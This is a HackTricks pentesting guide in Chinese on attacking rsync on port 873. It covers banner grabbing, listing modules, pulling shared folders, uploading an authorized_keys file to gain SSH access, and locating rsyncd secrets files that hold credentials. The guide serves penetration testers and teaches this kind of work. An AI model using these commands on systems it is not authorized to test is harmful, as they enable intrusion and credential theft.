hacktricks/network-services-pentesting/873-pentesting-rsync.md
2023-08-03 19:12:22 +00:00

8.3 KiB
Raw Blame History

873 - 渗透测试 Rsync

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

rsync 是一种用于在计算机和外部硬盘之间以及跨网络计算机之间高效地传输同步文件的实用工具,它通过比较文件的修改时间和大小来实现。它通常在类Unix的操作系统中找到。rsync 算法是一种增量编码类型,用于最小化网络使用。可以使用Zlib进行额外的数据压缩[3]并且可以使用SSHstunnel进行安全传输。

来自wikipedia

默认端口: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

枚举

横幅和手动通信

在渗透测试中枚举是一项重要的任务它帮助我们收集关于目标系统的信息。在进行rsync服务的渗透测试时我们可以使用以下方法进行枚举。

横幅

通过连接到目标rsync服务并读取横幅信息我们可以获取有关服务版本和其他相关信息的线索。这可以通过使用telnet命令连接到rsync服务的默认端口873来完成。

telnet <target_ip> 873

手动通信

我们还可以使用rsync命令与目标rsync服务进行手动通信。这可以帮助我们了解服务的功能和配置。以下是一些常用的手动通信命令

  • 列出目标系统上的文件和目录:
rsync rsync://<target_ip>/
  • 下载目标系统上的文件或目录:
rsync -av rsync://<target_ip>/<file_or_directory> <local_destination>
  • 上传本地文件或目录到目标系统:
rsync -av <local_file_or_directory> rsync://<target_ip>/<destination_directory>

通过使用这些命令我们可以与目标rsync服务进行交互并获取有关目标系统的更多信息。

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

枚举共享文件夹

一个 rsync 模块本质上是一个目录共享。这些模块可以选择性地通过密码进行保护。这个选项列出了可用的模块,并且可以选择性地确定模块是否需要密码来访问**:**

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

请注意,可以配置一个共享名称以使其不被列出。因此可能有一些隐藏的东西。
请注意,可能有一些列出的共享名称需要一些(不同的)凭据才能访问。因此,并不总是所有列出的名称都可以访问,如果您在尝试访问其中一些时收到**"访问被拒绝"**的消息,您将会注意到这一点。

暴力破解

手动 Rsync

一旦您获得了模块列表,根据您想要采取的操作以及是否需要身份验证,您有几个不同的选项。如果不需要身份验证,您可以列出一个共享文件夹:

rsync -av --list-only rsync://192.168.0.123/shared_name

并通过以下命令将所有文件复制到本地机器:

rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

这个命令会递归地将目录 <shared_name> 上的所有文件从机器 <IP> 传输到本地机器的 ./rsync_shared 目录中。文件以“归档”模式传输,这确保了符号链接、设备、属性、权限、所有权等在传输中得以保留。

如果你有凭据,你可以使用以下命令(密码将会提示)列出/下载一个共享名称

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

您也可以使用rsync上传一些内容例如在这种情况下我们可以上传一个_authorized_keys_文件以获取对该框的访问权限

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

查找rsyncd配置文件

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

在配置文件中有时可以找到参数_secrets file = /path/to/file_而这个文件可能包含允许用于身份验证到rsyncd的用户名和密码。

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥